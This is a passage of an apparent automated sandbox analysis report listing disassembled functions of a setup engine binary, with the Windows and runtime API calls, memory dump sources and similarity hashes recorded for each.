                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch_free
                    • String ID:
                    • API String ID: 2207867443-0
                    • Opcode ID: 5ccbca918a4c4966165bac82b3079fb1002b399b1dfb09126d97899a677a6e79
                    • Instruction ID: e19711dd958744a1f851982f80f5b696c7fadb07cfafc6607cf8f3592e33201a
                    • Opcode Fuzzy Hash: 5ccbca918a4c4966165bac82b3079fb1002b399b1dfb09126d97899a677a6e79
                    • Instruction Fuzzy Hash: 6511D370A4528AEFDF00CBA4C5447FCB7B0AF04319F248559D529BBAC1CF759A48DB92
                    Function 6CBB3B2B Relevance: 3.1, APIs: 2, Instructions: 55COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB3B32
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB4513: __CxxThrowException@8.LIBCMT ref: 6CBB45A2
                      • Part of subcall function 6CB88168: GetFileSize.KERNEL32(?,?,?,?,?,6CBB3B9F,?,?,00000000,?,?,?,?,00000008,6CBBEC79,?), ref: 6CB88178
                    • InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6CBBEC79,?,?), ref: 6CBB3BC9
                      • Part of subcall function 6CB880F7: WriteFile.KERNEL32(?,?,?,?,00000000,?,6CBB60F1), ref: 6CB8810D
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FileH_prolog3$CriticalException@8InitializeSectionSizeThrowWrite
                    • String ID:
                    • API String ID: 593797809-0
                    • Opcode ID: d88cd38a8aa19cc157b476be0558991050e5eb594c86d62988a6e8242fc3f168
                    • Instruction ID: d72bfe90f4f94897fd4f12d070a8aec37875ae2b6b9697bf93e09a20bf6b9565
                    • Opcode Fuzzy Hash: d88cd38a8aa19cc157b476be0558991050e5eb594c86d62988a6e8242fc3f168
                    • Instruction Fuzzy Hash: EE11547150128AAFDB50DF94CA45BDEBBB8BF05704F408446E554BBA81C770EA19CBA2
                    Function 6CBC1315 Relevance: 3.1, APIs: 2, Instructions: 54COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC131C
                      • Part of subcall function 6CBC36BA: GetUserDefaultUILanguage.KERNEL32(-00000960,?,00000000,?,?,?,?,6CBC1338,?,00000010,6CB95A14,?,?,?,0000004C,6CBCB498), ref: 6CBC36D8
                    • _free.LIBCMT ref: 6CBC137B
                      • Part of subcall function 6CBC374B: __EH_prolog3.LIBCMT ref: 6CBC3752
                      • Part of subcall function 6CBC374B: PathFileExistsW.SHLWAPI(?,SetupResources.dll,00000000,00000738,00000000,6CBBFA6E,0000000C,6CBC3A05,?,6CB7A794,?), ref: 6CBC37B7
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$DefaultExistsFileLanguagePathUser_free
                    • String ID:
                    • API String ID: 2326855983-0
                    • Opcode ID: 09f58ee9f4c8c83f4588f6a20ac0c046aac571b26f0a572c96372c85e844133d
                    • Instruction ID: 2e9ec1606828416ec2992fff659d6eafed8f3dd57700b4f6775b2ece47fdbcb8
                    • Opcode Fuzzy Hash: 09f58ee9f4c8c83f4588f6a20ac0c046aac571b26f0a572c96372c85e844133d
                    • Instruction Fuzzy Hash: 881127B0E012AAABCF119FA488419EFBB74AF45708F554456D97077B40C734D54A8BE2
                    Function 6CBB9067 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB906E
                    • __recalloc.LIBCMT ref: 6CBB90B0
                      • Part of subcall function 6CBD8E8C: __CxxThrowException@8.LIBCMT ref: 6CBD8EA0
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Exception@8H_prolog3Throw__recalloc
                    • String ID:
                    • API String ID: 2968967773-0
                    • Opcode ID: 13f6530580dc492efce45e9257092af8e4df3949677f3e180542dfd4381ed848
                    • Instruction ID: ebbc4bda91eb0aa1af1ec63777f3214dda5fd06ba4c08054f491d6f8dfb7397d
                    • Opcode Fuzzy Hash: 13f6530580dc492efce45e9257092af8e4df3949677f3e180542dfd4381ed848
                    • Instruction Fuzzy Hash: E4018431940B8187DB208F28C44077A73FAEFA1748BA5891DC5A5ABA40EF73E405C741
                    Function 6CBD8BDC Relevance: 3.1, APIs: 2, Instructions: 51COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: _memmove_s
                    • String ID:
                    • API String ID: 800865076-0
                    • Opcode ID: 052af3e1cd63b7b32d93e05f0403934d3c10a9d179138d7e1437bd8bf0c64c07
                    • Instruction ID: e9e4a3bae03ab0bb8d5657485ab4c323bd8a4c0440790a5df585273d1ad80c8f
                    • Opcode Fuzzy Hash: 052af3e1cd63b7b32d93e05f0403934d3c10a9d179138d7e1437bd8bf0c64c07
                    • Instruction Fuzzy Hash: B001B1B1600184AF8708DF9DDC95DAEB369EF98349716012EE5058B740EF73BD04C6D5
                    Function 6CBC3ACC Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC3AD3
                    • _memcpy_s.LIBCMT ref: 6CBC3B17
                      • Part of subcall function 6CBD8AFC: _wcsnlen.LIBCMT ref: 6CBD8B0C
                      • Part of subcall function 6CBBFF21: _wcsnlen.LIBCMT ref: 6CBBFF54
                      • Part of subcall function 6CBBFF21: _memcpy_s.LIBCMT ref: 6CBBFF8A
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: _memcpy_s_wcsnlen$H_prolog3
                    • String ID:
                    • API String ID: 301610209-0
                    • Opcode ID: 74e71be2fc49fbc83cd4dcff8b89f633734b0fd4a8ccbd39b0ebd3cb724f8dbb
                    • Instruction ID: 3151676fac03b80e5f3d6bd6210deca44b4cced2848a5bc26bbc8fc764185840
                    • Opcode Fuzzy Hash: 74e71be2fc49fbc83cd4dcff8b89f633734b0fd4a8ccbd39b0ebd3cb724f8dbb
                    • Instruction Fuzzy Hash: C1017C7651024A9FCB00DF64C880EDE7365FF08304F01895AF9419B751DB35EA19CBE1
                    Function 6CBD847A Relevance: 3.0, APIs: 2, Instructions: 38registryCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.KERNEL32(00000000,00000034,00000000,00000001,00000000,00000000,00000034,?,?,6CB9463B,00000034,00000034,00000000), ref: 6CBD84A9
                    • RegCloseKey.ADVAPI32(?,?,?,6CB9463B,00000034,00000034,00000000), ref: 6CBD84BA
                      • Part of subcall function 6CBD8414: GetModuleHandleW.KERNEL32(Advapi32.dll,?,?,6CBD849F,00000000,00000034,00000001,00000000,00000000,00000034,?,?,6CB9463B,00000034,00000034,00000000), ref: 6CBD8425
                      • Part of subcall function 6CBD8414: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6CBD8435
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AddressCloseHandleModuleOpenProc
                    • String ID:
                    • API String ID: 823179699-0
                    • Opcode ID: 82512bafdfc3506f8ee90903d5bcf6e20e3de2c0a1f5005c75a595dbcb6d2b5a
                    • Instruction ID: 58f405452a8bd4a503fa952e7ab00abc652da35307a8781e46b0277d0437864d
                    • Opcode Fuzzy Hash: 82512bafdfc3506f8ee90903d5bcf6e20e3de2c0a1f5005c75a595dbcb6d2b5a
                    • Instruction Fuzzy Hash: 69F04F76101245FBEB058F45CC51B9AB77DEF0035BF118116E9159B540C732EA109BA4
                    Function 6CBBB17C Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: __recalloc
                    • String ID:
                    • API String ID: 492097735-0
                    • Opcode ID: 3c675ecc4d7f7adcfd4d8a0b3a4f198d11c50a5156c324ca8cfe79ed0944204a
                    • Instruction ID: f1e4a2e5e97887cd44da06228c34a2092b1d8e65fb0a82d2e65462efcd6862e6
                    • Opcode Fuzzy Hash: 3c675ecc4d7f7adcfd4d8a0b3a4f198d11c50a5156c324ca8cfe79ed0944204a
                    • Instruction Fuzzy Hash: 4DF05EB5650241AFEF008F65CCC0B65BBA8EF08354B08C460EE5DCE60AE671DC15C7A1
                    Function 6CBBB122 Relevance: 3.0, APIs: 2, Instructions: 36COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: _free
                    • String ID:
                    • API String ID: 269201875-0
                    • Opcode ID: 5319712ba30569c0ee947bac0fd472ba9f17c88095a750fe9c1dc50b2fa1649a
                    • Instruction ID: dfa1b6fcf64d309bc3b9eb736f7bef618141f1bd59f2ce90c6a454837b38e50c
                    • Opcode Fuzzy Hash: 5319712ba30569c0ee947bac0fd472ba9f17c88095a750fe9c1dc50b2fa1649a
                    • Instruction Fuzzy Hash: 57F01731600A418FD7218F6ED58082AB7E6FFD47443614D2EE1E9D3A24CF31E8858A51
                    Function 6CBB4029 Relevance: 3.0, APIs: 2, Instructions: 17COMMON
                    Download Yara Rule
                    APIs
                    • FlushFileBuffers.KERNEL32(?,?,6CBC2CF3), ref: 6CBB4035
                    • CloseHandle.KERNEL32(?), ref: 6CBB404C
                      • Part of subcall function 6CBD89C8: GetLastError.KERNEL32(6CB880E8,6CB8A9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6CBD89C8
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: BuffersCloseErrorFileFlushHandleLast
                    • String ID:
                    • API String ID: 2301079650-0
                    • Opcode ID: e8a46d60fb21dfc377670f7179d44037d5e2c5033674eb30d08252e05e80cf4e
                    • Instruction ID: 2ca30efd25cbd14523f071d91d6319a160fbf141614855a09c386f413b7d7570
                    • Opcode Fuzzy Hash: e8a46d60fb21dfc377670f7179d44037d5e2c5033674eb30d08252e05e80cf4e
                    • Instruction Fuzzy Hash: 02D0C7312103408BEB308F32D40AB6672F8FF0031AF060E08E8A2E3880DBB4E8088A51
                    Function 009B2915 Relevance: 3.0, APIs: 2, Instructions: 8memoryCOMMON
                    Download Yara Rule
                    APIs
                    • HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000), ref: 009B291C
                    • Run.SETUPENGINE ref: 009B2922
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: HeapInformation
                    • String ID:
                    • API String ID: 3918721486-0
                    • Opcode ID: 66a2d2ad531be93b0c5f59469875ad9f3d484478e66eb9246c9b5797f4fb0513
                    • Instruction ID: 75913735b38c56087afab937193f593a7b8d770853b03aaee37429d3beeebe6d
                    • Opcode Fuzzy Hash: 66a2d2ad531be93b0c5f59469875ad9f3d484478e66eb9246c9b5797f4fb0513
                    • Instruction Fuzzy Hash: 25B092B05381446EEA0067209E2CF36261CE700752F400911B806C00A4C6A04880A520
                    Function 009B2C43 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • ___crtCorExitProcess.LIBCMT ref: 009B2C4B
                      • Part of subcall function 009B2C13: GetModuleHandleW.KERNEL32(mscoree.dll,?,009B2C50,?,?,009B6144,000000FF,0000001E,00000001,00000000,00000000,?,009B4F49,?,00000001,?), ref: 009B2C1D
                      • Part of subcall function 009B2C13: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009B2C2D
                    • ExitProcess.KERNEL32 ref: 009B2C54
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: ExitProcess$AddressHandleModuleProc___crt
                    • String ID:
                    • API String ID: 2427264223-0
                    • Opcode ID: 06624d96bc826adc197fd76ac77d8f6327130f6e5bf5f885bd2e18ba69432bf5
                    • Instruction ID: 8dee5a91f6a62afba7a271bd97f2890f077e8967dc6d31ecc5cf650850bf5fc1
                    • Opcode Fuzzy Hash: 06624d96bc826adc197fd76ac77d8f6327130f6e5bf5f885bd2e18ba69432bf5
                    • Instruction Fuzzy Hash: 1DB09231008148BFCB113F52DE0A98D3F6AEB803B1B604021F8180A031DF72EED2AAC1
                    Function 6CBB84FF Relevance: 2.5, APIs: 2, Instructions: 43COMMON
                    Download Yara Rule
                    APIs
                    • MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,6CBBFA6E,-00000960,?,?,6CBB83B3,-00000960,6CB7A794,-00000960,6CB7A794,00000000), ref: 6CBB851E
                    • MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,6CBBFA6E,-00000960,?,?,6CBB83B3,-00000960,6CB7A794,-00000960,6CB7A794), ref: 6CBB853F
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ByteCharMultiWide
                    • String ID:
                    • API String ID: 626452242-0
                    • Opcode ID: 215c95b885a22baa978f88c13ca21ab1ed47220637a4d73d2557e01aded139ef
                    • Instruction ID: d69b7f44703e127e9b5aeb5edde2a1b0884c31af1610fc873b51e52110b6510a
                    • Opcode Fuzzy Hash: 215c95b885a22baa978f88c13ca21ab1ed47220637a4d73d2557e01aded139ef
                    • Instruction Fuzzy Hash: 82F0963224516577DB115E8A8C44EEF7B1DEB86B74F114106F62C6B5C0CE32E9018BE1
                    Function 6CBA41FE Relevance: 1.6, APIs: 1, Instructions: 143COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA4205
                      • Part of subcall function 6CB92771: __EH_prolog3.LIBCMT ref: 6CB92778
                      • Part of subcall function 6CBA4F19: __EH_prolog3.LIBCMT ref: 6CBA4F20
                      • Part of subcall function 6CBA2081: __EH_prolog3.LIBCMT ref: 6CBA2088
                      • Part of subcall function 6CB8C17A: _calloc.LIBCMT ref: 6CB8C1A0
                      • Part of subcall function 6CBD78C8: RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,6CBC139B,?,00000010,6CB95A14,?,?,?,0000004C,6CBCB498,?,?,?), ref: 6CBD78D3
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$ExceptionRaise_calloc
                    • String ID:
                    • API String ID: 1540488672-0
                    • Opcode ID: 35ed9052ac324d0d1362c1266e4b302f6e687e2aca18fa449bf135382d569bc4
                    • Instruction ID: d9238d6e9f1ed281a8b0eaecd930ba982818bddec817e9881aae4637d326e60a
                    • Opcode Fuzzy Hash: 35ed9052ac324d0d1362c1266e4b302f6e687e2aca18fa449bf135382d569bc4
                    • Instruction Fuzzy Hash: D6511A71905289DFCB00CFA4C584ADEBBF4AF09304F1588A9DD49AF712C770AA49CBA1
                    Function 6CBB7889 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB7890
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBBA226: GetTickCount.KERNEL32 ref: 6CBBA241
                      • Part of subcall function 6CBBA226: GetTickCount.KERNEL32 ref: 6CBBA27C
                      • Part of subcall function 6CBBA226: __time64.LIBCMT ref: 6CBBA282
                      • Part of subcall function 6CBBA226: InitializeCriticalSection.KERNEL32(00000040,?,6CBB7905,?), ref: 6CBBA292
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: CountTick$CriticalH_prolog3InitializeSection__time64_malloc
                    • String ID:
                    • API String ID: 349597444-0
                    • Opcode ID: b72129e5aba4e7cf07a5376e33a64bf3fe22ec3b38dbbb30752e019c0d50b94f
                    • Instruction ID: e642ace35ac02754fbc3b14a5c473a49f110ffcdf70d2a644eb42a07f9519559
                    • Opcode Fuzzy Hash: b72129e5aba4e7cf07a5376e33a64bf3fe22ec3b38dbbb30752e019c0d50b94f
                    • Instruction Fuzzy Hash: E3516A75600644EFDB04DF68C895AAD37B1FF09324B2185A9F516EBBA1CB70E909CF50
                    Function 6CB959B8 Relevance: 1.6, APIs: 1, Instructions: 116COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB959BF
                      • Part of subcall function 6CB956A3: SysFreeString.OLEAUT32(?), ref: 6CB9578A
                      • Part of subcall function 6CB956A3: SysFreeString.OLEAUT32(?), ref: 6CB95799
                      • Part of subcall function 6CB956A3: SysFreeString.OLEAUT32(?), ref: 6CB957C7
                      • Part of subcall function 6CBC1315: __EH_prolog3.LIBCMT ref: 6CBC131C
                      • Part of subcall function 6CBC1315: _free.LIBCMT ref: 6CBC137B
                      • Part of subcall function 6CBBB17C: __recalloc.LIBCMT ref: 6CBBB18D
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FreeString$H_prolog3$__recalloc_free
                    • String ID:
                    • API String ID: 2446356840-0
                    • Opcode ID: 55bfe5545ec40f83bf84d7dea851348726a5701f5b41ce76f74932b9d6cdd87d
                    • Instruction ID: d4e22ff0a2134e638e224917ae91864805cc8cdc610d44a41debf7ce0a98d684
                    • Opcode Fuzzy Hash: 55bfe5545ec40f83bf84d7dea851348726a5701f5b41ce76f74932b9d6cdd87d
                    • Instruction Fuzzy Hash: 65513AB1D012999FCB10CFA8C5816AEBBF0BF19304F10456ED859ABB10D7719A49CFA5
                    Function 6CBC14D1 Relevance: 1.6, APIs: 1, Instructions: 94COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC14D8
                      • Part of subcall function 6CBC3ACC: __EH_prolog3.LIBCMT ref: 6CBC3AD3
                      • Part of subcall function 6CBC3ACC: _memcpy_s.LIBCMT ref: 6CBC3B17
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
